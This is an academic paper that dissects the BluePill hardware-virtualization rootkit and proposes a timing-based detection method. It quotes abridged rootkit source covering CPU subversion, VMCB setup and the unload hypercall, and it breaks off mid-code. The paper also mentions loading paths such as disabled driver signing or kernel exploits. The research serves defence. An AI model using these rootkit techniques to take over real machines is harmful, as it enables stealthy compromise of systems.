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Abstract. Since the first systems and networks developed, virus and worms matched
them to follow these advances. So after a few technical evolutions, rootkits could moved
easily from userland to kernelland, attaining the Holy Grail: to gain full power on com-
puters. Those last years also saw the emergence of virtualization techniques, allowing the
deployment of software virtualization solutions and at the same time to reinforce computer
security. Giving ways to a processor to manipulate virtualization have not only significantly
increased software virtualization performance, but also has provide new techniques to virus
writers.

These effects had the impact to create a tremendous polemic about this new kind of
rootkits – HVM (Hardware-based Virtual Machine) – and especially the most (in)famous
of them: Bluepill. Some people claim them to be invisible and consequently undetectable
thus making antivirus software or HIDS definitively useless, while for others, HVM rootkits
are nothing but fanciful. However, the recent release of the source code of the first HVM
rootkit, Bluepill, allowed to form a clear picture of those different claims. HVM can indeed
change the state of a whole operating system by toggling it into a virtual machine and
thus taking the full control on the host and on the operating system itself.

In this paper, we have striven to demystify that new kind of rootkit. On first hand, we are
providing clear and reliable technical data about the conception of such rootkit to explain
what is possible and what is not. On a second hand, we provide an efficient, operational
detection technique that makes possible to systematically detect Bluepill-like rootkits (aka
HVM-rootkits).

1 Introduction

Hardware rootkits are for hackers the best way to obtain a full control on the victim. For now,
they have been contained to external peripheral device on classical computer. But the apparition
of virtualization features in modern processor and the possibility to install hypervisor on the top
of operating systems, allowed the emergency of new threat of rootkits.

Intel and AMD provide in their last processors (dual core and amd64) mechanisms to use
easily total virtualization or para-virtualization. Bringing a new ring, Ring -1, where a hypervisor
boot firstly on the host and can manage several virtuals machines. This new class of rootkits,
HVM rootkits, have hijacked this first purpose to move on the fly the state of an operating
system to a virtual machine.

Furthermore, the announcement [31] of the first rootkit fully undetectable using virtualiza-
tion, BluePill, has the effect to generate a general fury in the computer security world. This
security buzz and the fact that the rootkit can control all timing resources, to monitor all in-
puts/outputs without installing any hooks in memory, results to make the conformist spotting
methods ineffective. But this agitation and this no scientific thinking to ask a problem serenely,
to stifle the creativity of researchers in the reuse of detecting ways.



Firstly, we present virtualization technologies, and particularly hardware virtualization (Intel
and AMD). Thus we will introduce HVM rootkits, to explain their internal work and the con-
troversy that has been emerged. Secondly, we will analyse technicals detecting suggested by the
security community, to analyze the exact nature of an HVM rootkit (BluePill) and to extend
technicals detecting, providing news one and to test them in real situations. At last, we will
conclude and address some open-problems with respect to our work.

2 State of art

2.1 Virtualization

Virtualization is a set of technical material and/or software that can run on a single machine
multiple operating systems separately from each other as if they were operating on distinct
physical machines.

These techniques are not recent but issues for much of the work of IBM research center in
Grenoble France in the 70s, which developed the experimental system CP/CMS, becoming the
product (then called hypervisor) VM/CMS.

In the second half of the 80s and early 90s, embryos virtualization for personal computers
have emerged. The Amiga computer could launch pc x386, Machintosh 68xxx, see solutions X11,
and of course all in multitasking. In the second half of 1990, on x86 emulators of old machines of
the 1980s were a huge success, including Atari computers, Amiga, Amstrad and consoles NES,
SNES, Neo Geo.

But the popularity of virtual machines came with VMware in 2000, which gave rise to a suite
of free and proprietary softwares offering virtualization.

Thus, several virtualization techniques can be considered :

– Emulation,
– Full Virtualization,
– Para-virtualization,
– Hardware Virtualization.

2.2 Hardware-assisted Virtualization

In this race of the best virtualization, manufacturers of processors arrived. They have equipped
their processor with a new set of instructions, a new context, to optimize and facilitate the full
virtualization or para virtualization (we called this type of virtualization, cooperative vitualiza-
tion (figure 3)), thus obtaining the commutation of different virtual machines directly into the
processor.

Examples :

– Xen
– Virtual PC

The two main manufacturers of mass market processors, Intel and AMD, respectively intro-
duced the technology in the processor Vanderpool and Pacifica [16]. They are currently available
by default in the Intel Dual Core, and AMD 64-bit.



Fig. 1. Hardware-assisted Virtualization

AMD Virtualization As Intel, AMD cames with new features :

– Quickly switch from host to guest,
– Intercepting of instructions or guest’s events,
– DMA access protection : EAP (External Access Protection),
– Tagged TLB between the hypervisor and the virtual machines.

SVM : Secure Virtual Machine extensions AMD gives a new set of instructions to take full
advantage of virtualization : SVM. It allows you to run virtual machines and achieve the ma-
terially switching host/VM, ie that each virtual machine has a context that will automatically
restored/saved by the processor at each context switching (Hypervisor ⇐⇒ Virtual Machine).
It can also handle exceptions caused by the virtual machine, intercept instructions or to inject
interruptions.

We see the interest to activate this mode if it is available, because it allows you to have full
control over the machine.

Invited Mode This new mode (real, not real, protected) is introduced by AMD to facilitate
virtualization.

VMCB The VMCB (or control block of virtual machine), is a structure in memory to describe
the state of a machine that will run, and several parts are to be considered :

– a list of instructions or events in the guest to intercept,
– bytes control specifying the execution environment of a guest or indicate special actions to

do before executing the code of the guest,
– the state of the processor of the guest.

Activating of SVM Before activating the SVM, we must check that the processor has this
feature. By executing the cpuid instruction with the address 8000 0001h, the second byte of the
ecx register must be set to 1.

To activate the SVM, we must set the SVME bit of EFER MSR to 1.

VMRUN This is the most important instruction. It makes possible to run a new virtual machine
by providing a control block of virtual machine (VMCB), describing features expected and the
status of this new machine.

VMSAVE/VMLOAD Both instructions complete the VMRUN instruction by saving and loading
the control block.

VMMCALL This instruction calls the hypervisor, as in ring 3 or ring 0. The choice of the mode
in which this instruction can be called is left to the hypervisor.

#VMEXIT When an interception is called, the processor makes a #VMEXIT thereby to switch
the status of the virtual machine to hypervisor.



2.3 Rootkits

A rootkit is a program or a set of programs allowing a pirate to maintain an access to a com-
puter system. Rootkits have existed since the beginning of hacking and are therefore constantly
changing with new technology.
Features are various, but the main goal is the same, to hide all traces of a hacker :

– codes,
– process,
– networks,
– drivers,
– files,
– =⇒ everything a mind can imagine !

We can classify rootkits in two families :

– Ring 3 (user land),
– Ring 0 (kernel land).

The first family is the oldest, easy to use because it’s in ring 3. It is simply an amalgamation
of several binaries (ps, ls, netstat, etc.) that will be installed in place of the original, and that
filters results to hide data. It is trivial to detect by hashes on the file system ([40]).

But recent years have seen the emergence of attacks all in memory, making progress rootkits
in ring 3, and leaving the door open to new types of rootkits. Staying in memory for an attacker
is interesting because no information will be written on a mass device (hard drive ...) and thus
bypasses some tools of forensics [14].

Three types of userland infections are to be considered :

– Patch on the fly,
– Syscall Proxy,
– Userland Execve.

Path on the fly [9] is a technique [39] [15] to patch [3] dynamically a process, injecting codes,
data, and to hijack functions.
Syscall Proxy is a technique which consists in executing a program entirely on the network by
sending most of instructions to the exploited server. More precisely, when an usual program is
running, it sends many system calls to the kernel in order for example to have access to the I/O
peripherals. With Syscall Proxy, all system calls are sent by the attacker, treated by the kernel
of the server, and their results are returned. However, even though this method appears original,
it uses extensively the network resources. Its performance is thereby directly related because a
huge amount of messages transits on the network (two per system call). But most of all, the
capacity of detection by the administrators become pretty easy.

The last techniques consists to execute a program without the sys exec syscall [23] (sys execve
on Linux). It replaces in memory the old process with a new code that we will run, or simply to
insert a relocatable binary and to jump on it. By using the network,there is no writing on the
hard drive [22]. Several automation tools (as SELF [29], pitbull [28], or more recently Sanson
The Headman [35]) have emerged to use this technique easily.



Rootkits in ring 0 allow a stronger level of invisibility for the user. They are used to hide
processes, connections, files or to bypass some mechanisms of protection. Three categories [32]
are to be considered :

– Those installing hooks in the kernel code,
– Those installing hooks in fields of kernel structure,
– Those with no hooks.

The first category [36] [37] changes the system call table, the interrupt descriptor table, but
also redirects some functions. It is therefore easily detectable with tools to make fingerprints
of the kernel memory. The abstraction in the Linux kernel can bypass flows [37] by changing
pointer functions in a structure. We can easily change the pointer function of the VFS structure,
thus hiding all kinds of things. Again this kind of compromise can be detected with memory
fingerprints.

The last category is this new generation of malware inherited from virtualization technology
hardware.

2.4 Controversy

The problem which appears with this kind of rootkit because it doesn’t install hooks in memory
and use memory allocator of the system, and it can control various sources of time in a computer
against a timing attack. All classic sources, as RDTSC instruction which allowed to know the
number of ticks of the processor, or clocks in the mother board may be intercepted by the
hypervisor, respectively directly on a call of an instruction or an input/output. As a consequence,
hypervisor may altered the return value and to hijack the analyse of a detector.

Detecting a hypervisor may be the same problem as detecting an hvm rootkit ? Maybe not.
But let us not be too positive [32] in our answer. An user, an administrator system knows if
he owns a virtual machine monitor, as he would use himself a virtualization tools (Virtual PC,
KVM, XEN). If the detecting system decides that a hypervisor is installed while the user didn’t
know, thus a rootkit is present. Of course we will show that a payload will enabled us to do
without user’s knowledge environment .

Several researchers have reacted quickly (maybe too) to this security buzz in suggesting
sundries solutions :

Timing attack This attack is established on a simple rule. A rootkit alters results and append new
instructions [33], we must have a safely database which can be compared to new measurements.
However BluePill controls all timing resources, it can played with clocks and changed the return
value of the time of the instruction.

Pattern matching Pattern matching consists of searching a signature of a rootkit, as for example
loading or unloading functions. This method may be used in the Bluepill case (in the current
release), but it can control I/O and harms the integrity of the reading memory (as a result,
hiding itself).

TLB The attack though TLB to detect if a hypervisor is present, is based on the fact that a
virtual machine monitor puts the TLB entries to 0 if it intercepts an instruction. It’s easy for
the detector to watch timing access of a page, to call an intercepted instruction, and read the
new timing access to the same page and compared both results.



According to Joanna Rutkowska [32], she is capable to hijack this detecting kind, moreover
in AMD processors, the TLB is tagged with an address space identifier (ASID) distinguishing
host-space entries from guest-space entries.

DMA Access to the DMA though an external peripheral device [26] as firewire allows to recover
physical memory without modification. It is therefore possible to detect an HVM rootkit by
searching its signature.

In last processors of AMD, EAP (External Access Protection) [17] could be used by a hyper-
visor to fake the fingerprint.

Also, this solution would be no viable in the future, because IOMMU [2] will allow to solve
this problem without access control to the memory by a device.

CPU Bugs This method is simple : crash the processor when virtualization is enabled. It is
interesting in experimentation to detect a hypervisor, but no usable in production, and these
bugs can be fixed in the next release of a processor.

3 BluePill rootkit

BluePill is the first (and only at the moment) public HVM rootkit, created by Joanna Rutkowska
in 2006, it has been the subject of several publications, most of them about the subject that it
is undetectable, without analysis of its working.

3.1 Installation

Bluepill must be loaded as a driver. But Windows Vista (and Windows Server 2008) integrates a
security policy against no driver signing [41]. Thereby, either the driver is loaded by an exploita-
tion [31], or we disable driver signing during the boot of the operating system (function key F8),
in this case the field of action is confine (on Windows Vista).

For our experimentation, we have disabled driver signing, and loaded BluePill with the tool
insdrv.

The first public release (0.11) of BluePill works only on AMD [16] and the output is on
serial port, which is not very usefull (nevertheless it isn’t required to have a null modem cable
to recover the output). The last public release (0.32) available on web site adds Intel processor
[24], and writing in the logs of the system.

3.2 Analysis

BluePill didn’t install hooks, this is why it is impossible to reinstate during boot. There are
several possibilities, either infecting operating system during operating system boot, or sooner
during boot as SubVirt [30]. In other words, in both cases would make it a classic rootkit and
more easily detectable.

BluePill moves the state of an operating system into a guest operating system. No more and
no less. Now (except version 0.32, with an Intel keylogger), he hasn’t classic rootkit mechanisms
(hiding files process, networks, etc). As a result, we can ask us if it is not simply the result of a
very good job of a kernel developer and not a designer rootkit? And why any payload is present
when it’s presented as the most frightening rootkits ?

This is its greatest weakness : to not contain viral payload. BluePill can be the same be-
haviour that a classical rootkit. There are two solutions. Either it hooks functions or structures



to realize these behaviors, what a classical rootkit and the detection mechanism is well known,
or it monitors the input/output. It may choose the latest solution, but which is the price ? The
time ....

Its great strength is to control everything remaining invisible, and could induce a big treat-
ment and thus that causing its loss ?

Thereafter we will analyse summarily BluePill source code.

3.3 Working

The working of this new type of malware can be summarized into one sentence : ”Switching the
operating system into a virtual machine”. It is clear that the switching of the state on the fly,
allows an interesting stealth (no reboot as Subvirt [30]), and the state of a virtual machine allows
a full control.

The algorithm [42] of the new kind of rootkit is in ten steps, but can be resumed in the
following section.

Algorithm

1. Loading of the driver,
2. Verification/Activation of the hardware virtualization,
3. Memory allocation of different pages (control block, saved area of the host ...),
4. Initialization of different fields of the control block of the virtual machine (control area,

virtual machine area),
5. Switch to the hypervisor execution code,
6. Call of the instruction which run the virtual machine,
7. Unloading of the driver.

Fig. 2. BluePill during the infection



Fig. 3. Bluepill after the infection

Now, we will analyze each parts of this algorithm by associating it to the version 0.32-public
[25] of BluePill.

Its code is splitted into different parts :

– amd64 : assembly code of the hypervisor, calling of the SVM/VMX instructions, read-
ing/writing code of MSR ..

– common : common code of the rootkit (loading, unloading, etc),
– svm : code for the SVM instructions set,
– vmx : code for the VMX instructions set.

The common code allows via a structure HVM DEPENDENT of function pointers to manage
SVM or VMX :

/∗ common/common. h ∗/

typedef struct
{

UCHAR Arch i t e c tu re ;

ARCH IS HVM IMPLEMENTED ArchIsHvmImplemented ;
[ . . . ]

} HVM DEPENDENT,

Loading
Without doubt, the hardest part, it’s to find an attack vector to load the rootkit. Typically, the

attack requires getting a communication channel to the kernel to insert our code :

– Either by the interface of loading. Now, it is blocked in Windows Vista, because a driver
must be signed to load, which has been bypassed [32] but quickly corrected by Microsoft,

– Either by memory devices (/dev/kmem on Linux, disabled on Windows Vista, but with a
relocation of the code in memory (for example with Kernsh [38]).

– Either by the exploitation of a kernel security flaw.



The loading of BleuPill begins in the loading driver routine on Windows, the DriverEntry
function :

/∗ common/newbp . c ∗/

NTSTATUS DriverEntry (
PDRIVER OBJECT DriverObject ,
PUNICODE STRING RegistryPath

)
{
[ . . . ]
[A] HvmInit ( ) ;
[B] HvmSwallowBluepill ( ) ;
[C] DriverObject−>DriverUnload = DriverUnload ;
[ . . . ]
}

Three main things are done : HvmInit will check the availability of virtualization hardware
[A], and HvmSwallowBluepill will run the rootkit [B]. We must also setup [C] the field of the
unloading routing of the driver of the structure DriverObject with the unloading function.

HvmSwallowBluepill :

/∗ common/hvm. c ∗/

NTSTATUS NTAPI HvmSwallowBluepill (
)
{
[ . . . ]
for ( cProcessorNumber = 0 ; cProcessorNumber < KeNumberProcessors ; cProcessorNumber++)
{
[A] CmDeliverToProcessor ( cProcessorNumber , CmSubvert , NULL, &Cal lbackStatus ) ;
}
[ . . . ]
}

The initialization of the rootkit must be done on each processor [A], that is why we associate
to each processor the setup routine (CmSubvert).

/∗ amd64/common−asm.asm ∗/

CmSubvert PROC
[ . . . ]

[A] c a l l HvmSubvertCpu
CmSubvert ENDP

This assembly routine calls the real installation routine [A] (HvmSubvertCpu).

/∗ common/hvm. c ∗/

NTSTATUS NTAPI HvmSubvertCpu (
PVOID GuestRsp

)
{
[ . . . ]
[A] Hvm−>ArchIsHvmImplemented ( ) ;

[B] HostKernelStackBase = MmAllocatePages (HOST STACK SIZE IN PAGES , &HostStackPA ) ;
[C] Cpu = (PCPU) ( (PCHAR) HostKernelStackBase + HOST STACK SIZE IN PAGES
∗ PAGE SIZE − 8 − s izeof (CPU) ) ;
[D] Cpu−>ProcessorNumber = KeGetCurrentProcessorNumber ( ) ;
[E ] Cpu−>GdtArea = MmAllocatePages (BYTES TO PAGES (BP GDT LIMIT) , NULL) ;
[F ] Cpu−>IdtArea = MmAllocatePages (BYTES TO PAGES (BP IDT LIMIT ) , NULL) ;



[G] Hvm−>ArchRegisterTraps (Cpu ) ;
[H] Hvm−>Ar c h I n i t i a l i z e (Cpu , CmSlipIntoMatrix , GuestRsp ) ;

[ I ] HvmSetupGdt (Cpu ) ;
[ J ] HvmSetupIdt (Cpu ) ;

[K] Hvm−>ArchVi r tua l i z e (Cpu ) ;
}

HvmSubvertCpu is the main installation routine, which is called on each processor. It will first
check the availability of virtualization [A], then perform various allocations spaces and structures
[B], [C], [E], [F]. At [B], the allocation of this saved host area allows the vmrun instruction to save
information about the state of the processor. KeGetCurrentProcessorNumber gets the number
of processor where is running this code [D].

Finally, event managements [G] by ArchRegisterTraps, and various initializations [H], [I], [J],
launch the hypervisor [K] by ArchVirtualize.

Checking of hardware virtualization
Hvm→ArchIsHvmImplemented == SvmIsImplemented :

/∗ svm/svm . c ∗/

stat ic BOOLEAN NTAPI SvmIsImplemented (
)
{
[A] GetCpuIdInfo (0 , &eax , &ebx , &ecx , &edx ) ;
[B] i f ! ( ebx == 0x68747541 && ecx == 0x444d4163 && edx == 0x69746e65 )

return FALSE;
[C] GetCpuIdInfo (0 x80000000 , &eax , &ebx , &ecx , &edx ) ;
[D] GetCpuIdInfo (0 x80000001 , &eax , &ebx , &ecx , &edx ) ;
[E ] return CmIsBitSet ( ecx , 2 ) ;
}

The CPUID assembly instruction gets information about features of the processor. The first
function [A] checks if the processor has the extend CPUID instruction, and also check if we are
on a AMD processor [B].

The function [C], [D], [E] check if the second byte of ecx register is setup.

Initialization of events management
Hvm→ArchRegisterTraps == SvmRegisterTraps :

/∗ svm/svmtraps . c ∗/

NTSTATUS NTAPI SvmRegisterTraps (
PCPU Cpu

)
{
[ . . . ]

T r In i t i a l i z eGene ra lTrap (Cpu , VMEXIT VMRUN, 3 , SvmDispatchVmrun , &Trap ) ;
Tr In i t i a l i z eGene ra lTrap (Cpu , VMEXIT VMLOAD, 3 , SvmDispatchVmload , &Trap ) ;
Tr In i t i a l i z eGene ra lTrap (Cpu , VMEXIT VMSAVE, 3 , SvmDispatchVmsave , &Trap ) ;
[ . . . ]
}

The initialization of the function that will handle interception are saved and associated with
at the corresponding interception.

So, BluePill intercepts the following operations :

– instructions : vmrun, vmload, vmsave,



– registers msr efer, vm hsave pa, tsc,
– instructions : clgi, stgi,
– interrupts of SMM,
– debug exception,
– instructions : cpuid, rdtsc, rdtscp.

Allocation/Initialization
Hvm→ArchInitialize == SvmInitialize :

/∗ svm/svm . c ∗/

stat ic NTSTATUS NTAPI SvmIn i t i a l i z e (
PCPU Cpu ,
PVOID GuestRip ,
PVOID GuestRsp

)
{
[ . . . ]
Cpu−>Svm. Hsa = MmAllocateContiguousPages (SVM HSA SIZE IN PAGES ,
&Cpu−>Svm.HsaPA ) ;
[A] Cpu−>Svm. OriginalVmcb = MmAllocateContiguousPagesSpecifyCache (SVM VMCB SIZE IN PAGES ,
&Cpu−>Svm. OriginalVmcbPA , MmCached ) ;
[B] Cpu−>Svm. GuestVmcb = MmAllocateContiguousPagesSpecifyCache (SVM VMCB SIZE IN PAGES ,
NULL, MmCached ) ;
[C] Cpu−>Svm. NestedVmcb = MmAllocateContiguousPagesSpecifyCache (SVM VMCB SIZE IN PAGES ,
&Cpu−>Svm. NestedVmcbPA , MmCached ) ;
[ . . . ]
[D] SvmSetupControlArea (Cpu ) ;
[E ] SvmEnable (&bAlreadyEnabled ) ;
[ . . . ]
[F ] SvmInitGuestState (Cpu , GuestRip , GuestRsp ) ;
[ . . . ]
}

There are allocations [A], [B], [C] of all VMCB, then the initialization of the control area [D],
allows the activation of the virtualization [E]. Then, the initialization of the VMCB of the state
of the processor.

SvmEnable :

/∗ svm/svm . c ∗/

NTSTATUS NTAPI SvmEnable (
PBOOLEAN pAlreadyEnabled

)
{
[ . . . ]
Efer = MsrRead (MSR EFER) ;
[A] Efer |= EFER SVME;
[B] MsrWrite (MSR EFER, Efer ) ;
[ . . . ]
}

To enable the SVM, the SVME byte of the EFER MSR must be set [A], [B] to 1.

SvmInitGuestState :

/∗ svm/svm . c ∗/

NTSTATUS SvmInitGuestState (
PCPU Cpu ,
PVOID GuestRip ,
PVOID GuestRsp

)
{



[ . . . ]
Vmcb = Cpu−>Svm. OriginalVmcb ;

Vmcb−>i d t r . base = GetIdtBase ( ) ;
Vmcb−>i d t r . l im i t = GetIdtLimit ( ) ;
GuestGdtBase = (PVOID) GetGdtBase ( ) ;
Vmcb−>gdtr . base = (ULONG64) GuestGdtBase ;
Vmcb−>gdtr . l im i t = GetGdtLimit ( ) ;
[ . . . ]
Vmcb−>cp l = 0 ;
Vmcb−>e f e r = MsrRead (MSR EFER) ;
Vmcb−>cr0 = RegGetCr0 ( ) ;
[ . . . ]

Vmcb−>r i p = (ULONG64) GuestRip ;
Vmcb−>rsp = (ULONG64) GuestRsp ;

[ . . . ]
}

The initialization of state part of the VMCB is to setup fields needed by the processor needs,
ie addresses of the idt and the gdt. But also information as cr* and dr* registers, and of course
the current pointer and the stack pointer.

SvmSetHsa :

/∗ svm/svm . c ∗/

VOID NTAPI SvmSetHsa (
PHYSICAL ADDRESS HsaPA

)
{
}

Transfer
Hvm→ArchIsHvmVirtualize == SvmVirtualize :

/∗ svm/svm . c ∗/

stat ic NTSTATUS NTAPI SvmVirtual ize (
PCPU Cpu

)
{
[A] SvmVmrun (Cpu ) ;
// never returns
}

The transfer to the cocde of the hypervisor which will launch the virtual machine and manage
events, is located in the SvmVmrun [A] function.

Calling the virtual machine
SvmVmrun :

/∗ amd64/svm−asm.asm ∗/

SvmVmrun PROC
[ . . . ]

@loop :
[ . . . ]

[A] mov rax , [ rsp+16∗8+5∗8+8] ; CPU.Svm. VmcbToContinuePA

[B] svm vmrun

; save guest s t a t e
[ . . . ]

c a l l HvmEventCallback



; r e s t o r e guest s t a t e ( HvmEventCallback migth have a l t e rna t ed the guest s t a t e )
[ . . . ]

jmp @loop

The switching to the virtual machine is done by the vmrun [B] instruction which takes one
argument, the address of the VMCB of the virtual machine, in the rax register [A].

Events management
The event management is significant for an HVM rootkit, since the viral code must be here.

HvmEventCallback :

/∗ common/hvm. c ∗/

VOID NTAPI HvmEventCallback (
PCPU Cpu ,
PGUEST REGS GuestRegs

)
{
[ . . . ]
[A] i f (Hvm−>ArchIsNestedEvent (Cpu , GuestRegs ) )
{
[B] Hvm−>ArchDispatchNestedEvent (Cpu , GuestRegs ) ;
return ;
}

// i t ’ s an o r i g i na l event
[C] Hvm−>ArchDispatchEvent (Cpu , GuestRegs ) ;
}

According to the original source of the event [A], management will be treated differently. But,
finally, the processing function well be either SvmDispatchNestedEvent [B] or SvmDispatchEvent
[C].

Hvm→ArchDispatchEvent = SvmDispatchEvent :

/∗ svm/svm . c ∗/

stat ic VOID NTAPI SvmDispatchEvent (
PCPU Cpu ,
PGUEST REGS GuestRegs

)
{
[ . . . ]
SvmHandleInterception (Cpu , GuestRegs , Cpu−>Svm. OriginalVmcb , FALSE
[ . . . ]
}

SvmHandleInterception :

/∗ svm/svm . c ∗/

stat ic VOID SvmHandleInterception (
PCPU Cpu ,
PGUEST REGS GuestRegs ,
PVMCB Vmcb,
BOOLEAN WillBeAlsoHandledByGuestHv

)
{

[ . . . ]
[A] TrFindRegisteredTrap (Cpu , GuestRegs , Vmcb−>ex i tcode , &Trap ) ;

switch (Vmcb−>ex i t code )
{
case VMEXIT MSR:
[ . . . ]



case VMEXIT IOIO :
[ . . . ]
default :

[ . . . ]
[B] TrExecuteGeneralTrapHandler (Cpu , GuestRegs , Trap ,

WillBeAlsoHandledByGuestHv ) ;
[ . . . ]

}
}

Depending on the type of the event, we seek [A] if an entry exists that supports this kind of
events and runs it [B].

Unloading
The unloading of BluePill is done by the unloading routine filled in the structure of the driver

while loading.

/∗ common/newbp . c ∗/

NTSTATUS DriverUnload (
PDRIVER OBJECT DriverObject

)
{
[ . . . ]
[A] HvmSpitOutBluepil l ( ) ;
[ . . . ]
}

The function [A] will perform the unloading of the hypervisor is HvmSpitOutBluepill :

/∗ common/hvm. c ∗/

NTSTATUS NTAPI HvmSpitOutBluepil l (
)
{
[ . . . ]
for ( cProcessorNumber = 0 ; cProcessorNumber < KeNumberProcessors ; cProcessorNumber++)
{
[A] CmDeliverToProcessor ( cProcessorNumber , HvmLiberateCpu , NULL, &Cal lbackStatus ) ;
}
[ . . . ]
}

As the loading, we attach an unloading routine [A], HvmLiberateCpu, on each process present.

HvmLiberateCpu :

/∗ common/hvm. c ∗/

stat ic NTSTATUS NTAPI HvmLiberateCpu (
PVOID Param

)
{
[ . . . ]
[A] HcMakeHypercall (NBP HYPERCALL UNLOAD, 0 , NULL) ;
[ . . . ]
}

An hypercall is the same as a system call but for a virtual machine. That’s why this will create
a communication from the virtual machine to the hypervisor [A]. So, the unloading routine of
BluePill makes a hypercall to the hypervisor to unload itself.

HcMakeHypercall :



/∗ common/ hyperca l l s . c ∗/

NTSTATUS NTAPI HcMakeHypercall (
ULONG32 HypercallNumber ,
ULONG32 Hypercal lParameter ,
PULONG32 pHyperca l lResu l t

)
{
[ . . . ]

// low part contains a hyperca l l number
[A] edx = HypercallNumber | (NBP MAGIC & 0 x f f f f 0 0 0 0 ) ;
[B] ecx = NBP MAGIC + 1 ;

[C] CpuidWithEcxEdx (&ecx , &edx ) ;
}

A little trick is present to unload the hypervisor, it makes an hypercall which call an instruc-
tion intercepted by the hypervisor with magic parameters. The cpuid instruction [C] is used with
magic values [A] [B] in the edx and ecx registers, with the first register concatenates to the value
of the desired hypercall (unloading).

SvmDispatchCpuid :

/∗ svm/svmtraps . c ∗/

stat ic BOOLEAN NTAPI SvmDispatchCpuid (
PCPU Cpu ,
PGUEST REGS GuestRegs ,
PNBP TRAP Trap ,
BOOLEAN WillBeAlsoHandledByGuestHv

)
{
[ . . . ]

[A] i f ( ( ( GuestRegs−>rdx & 0 x f f f f 0 0 0 0 ) == (NBP MAGIC & 0 x f f f f 0 0 0 0 ) )
[B] && (( GuestRegs−>rcx & 0 x f f f f f f f f ) == NBP MAGIC + 1))
{

[C] HcDispatchHypercal l (Cpu , GuestRegs ) ;
return TRUE;

}

[ . . . ]
}

The function which intercepts the cpuid instruction is SvmDispatchCpuid, and will check if
magic parameters [A], [B] are in registers. If it presents, the management function of hypercalls
[C] is called.

HcDispatchHypercall :

/∗ common/ hyperca l l s . c ∗/

VOID NTAPI HcDispatchHypercal l (
PCPU Cpu ,
PGUEST REGS GuestRegs

)
{
[ . . . ]
switch ( HypercallNumber )
{

[A] case NBP HYPERCALL UNLOAD:
[ . . . ]
// d i s a b l e v i r t ua l i z a t i on , resume guest , don ’ t setup time bomb
[B] Hvm−>ArchShutdown (Cpu , GuestRegs , FALSE) ;

break ;
}



}

If the number of the hypercall [A] is an unloading, the function of the right architecture is
executed [B].

Hvm→ArchShutdown = SvmShutdown :
/∗ svm/svm . c ∗/

stat ic NTSTATUS NTAPI SvmShutdown (
PCPU Cpu ,
PGUEST REGS GuestRegs ,
BOOLEAN bSetupTimeBomb

)
{
SvmGenerateTrampolineToLongModeCPL0 (Cpu , GuestRegs , Trampoline , bSetupTimeBomb ) ;

CmStgi ( ) ;
CmSti ( ) ;

i f ( ! Cpu−>Svm. bGuestSVME)
[A] SvmDisable ( ) ;

( (VOID ( ∗ ) ( ) ) & Trampoline ) ( ) ;
// never returns

}

The function [A] SvmDisable disables the virtualization, and shutdown the hypervisor.

As a conclusion about the summarized analysis of the code of BluePill, which finally does the
work of a classical hypervisor but much more dynamic because it takes a host and switch into
virtual machine. Also, it contains no viral payload (as hide files, processes, etc.), and doesn’t
hide itself in memory, it is quite empty against a real rootkit.

4 Detection Techniques for HVM Rootkits

We know that it’s impossible to detect Bluepill with memory fingerprints, even if it is in memory
as another driver. Pattern matching of signatures against BluePill will be possible, but only
usable up till the next release (because BluePill can control the I/O).

We have based our research study on a simple fact : a hypervisor increases the time execution
of some instructions, and an HVM rootkit will increase significantly this one, we must get the
execution time of an instruction. A hypervisor will increase the execution time of an intercepted
instruction since the commutation context from the virtual machine to hypervisor will be auto-
matically added, and will be more increased if a viral payload is present. This is a timing attack
but we have said that we didn’t control sources of time [20]

An external source of time as a NTP server with an encrypted communication can be used,
and it will increase time analysis of hypervisor to realize a mechanism for detection.

But a source of time may be relative and therefore do not use directly clocks of the system
and can’t intercepts by a hypervisor. At a much larger scale, the sun has been used to know
the time. We can used on a computer a simple counter (our sun) as an increment of a variable
(as shown Edgar Barbosa [12]) on one core, while the other core run an intercepted instruction.
Joanna Rutkowska is agreed [32] that this mechanism is impossible to detect and she thinks that
it’s not possible to detect it now.

The Intel Dual Core processors have capabilities to change the frequency, which could make
our results to be false. But with a database and if we set the frequency of a processor, we need
few values...



Blue Chicken [32] is a technical which consists of an HVM rootkit withdraws away from
memory when a large number of instructions are called and to reinstate after a given time
(which is also contesting [12] because a hypervisor protection could then takes the control). We
can use technicals of virus, for example a sequence of random calls to bypass it. But the best
method is firstly to emerge a statistical model that will allow us to limit strongly instructions
calls to detect an HVM rootkit.

A list of intercepted instructions is the list of all possible intercepted instructions by the hy-
pervisor. One of them is interesting : vmmcall. It allows the virtual machine to call the hypervisor,
so the instruction must be intercepted by the hypervisor.

But the best method is to find a suitable statistical model which will limit calls of an inter-
cepted instruction to detect a rootkit.

4.1 Statistical model for detection

The goal is to model the behavior of a computer according to two different cases: with or without
BluePill. If we manage to do it, then we will have a powerful detection technique based on decision
statistical testing. In the case when a BluePill-like rootkit is active, we must be able to make the
difference between simple BluePill module and BluePill module with an effective payload. From a
technical point of view, everything lies on the choice of a suitable, powerful (statistical) estimator
that will exhibit statistically significant different behaviors, according to the case concerned.

Let us first consider the different technical way on which we can build such efficient estimators.

NTP (encrypted) The first method is to take an external time quite accurate and reliable.
Most servers use NTP, which lets to synchronize the clocks of computer across a network. We
may use encryption on the protocol to have safe communications and to make the work of the
rootkit more complex.

So, the core estimator will be the time difference of the value returned by the NTP server on
a possible intercepted instruction.

Counter The second method is to a use a relative time as the real time, for example a counter.
But it works only with a processor with several cores (at least 2) or on a multiprocessor machine
(e.g. dual core processor).

We synchronize the two cores (or processors) to run our code in parallel. On the first core
(or processor), a simple loop increments a variable, while on the other a potentially intercepted
instruction (by the HVM rootkit) will be launched.

If a rookit exists, the value of the incremented variable will be increase will be superior to a
case without rootkit.

In the first case (figure 4), instruction runs directly on the processor, in the next case (figure 5),
the virtualization is enable this why we have extra instructions to do the commutation, with the
extra code of the events management of BluePill, and therefore the code of the real event.

Working This code must be launched at Ring 0, because the implementation of threads on
userland doesn’t allowed us to choose the processor.

Version of Linux 2.6.X On Linux, the call of the function kthread create creates a kernel thread,
to choose the processor with kthread bind, and run it with the function wake up process.



Fig. 4. Method of detection : Counter

Fig. 5. Method of detection : Counter + BluePill



Example The thread that runs the counter (function timepill kthread cpu0 ) and the other runs
the instruction (function timepill kthread cpu1 noloop) can be program as follows, with ktimepill counter t,
a structure to get the loop counter (in the field titmap), and the call of the function (the field
inst).

stat ic void t imep i l l k th r e ad cpu0 (void ∗data )
{

int counter ;
atomic t cc ;
unsigned long ∗p ;
k t im ep i l l c o un t e r t ∗kct = ( k t imep i l l c o un t e r t ∗) data ;

counter = 0 ;
a tomic s e t (&cc , 0 ) ;

i f ( kct == NULL)
